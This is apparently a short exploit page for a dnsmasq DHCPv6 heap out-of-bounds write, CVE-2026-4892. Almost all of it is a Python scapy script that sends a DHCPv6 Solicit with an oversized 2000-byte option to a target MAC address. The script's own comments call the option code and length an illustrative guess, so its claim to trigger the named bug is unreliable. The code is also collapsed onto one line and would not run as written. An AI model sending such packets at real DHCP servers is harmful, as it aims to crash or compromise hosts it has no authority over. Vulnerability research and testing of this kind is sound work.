CVE-2026-4892 dnsmasq DHCPv6越界写入漏洞

/* * PoC for CVE-2026-4892 (Heap OOB Write in dnsmasq DHCPv6) * This script demonstrates how to send a crafted DHCPv6 packet. * Requires scapy: pip install scapy */ from scapy.all import * import sys def send_malicious_dhcpv6(target_mac, interface): # Construct Ethernet header eth = Ether(dst=target_mac) # Construct IPv6 header (Link-local address) ipv6 = IPv6(src="fe80::1", dst="ff02::1:2") # Construct UDP header (DHCPv6 uses port 547 for server, 546 for client) udp = UDP(sport=546, dport=547) # DHCPv6 Solicit Message dhcpv6 = DHCP6_Solicit(trid=12345) # Add a crafted option to trigger the heap overflow # The specific option code and length depend on the vulnerability root cause analysis # Here we simulate an option with excessive length or malformed data # Option Code: 9999 (Example), Length: 2000 (Excessive) malicious_data = b"A" * 2000 crafted_option = DHCP6OptUnknown(optcode=9999, optlen=len(malicious_data), optdata=malicious_data) dhcpv6 = dhcpv6 / crafted_option # Assemble packet packet = eth / ipv6 / udp / dhcpv6 print(f"[*] Sending malicious packet to {target_mac} on {interface}...") # Send packet sendp(packet, iface=interface, verbose=1) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <target_mac> <interface>") print("Example: python3 poc.py 00:11:22:33:44:55 eth0") sys.exit(1) target_mac = sys.argv[1] interface = sys.argv[2] send_malicious_dhcpv6(target_mac, interface)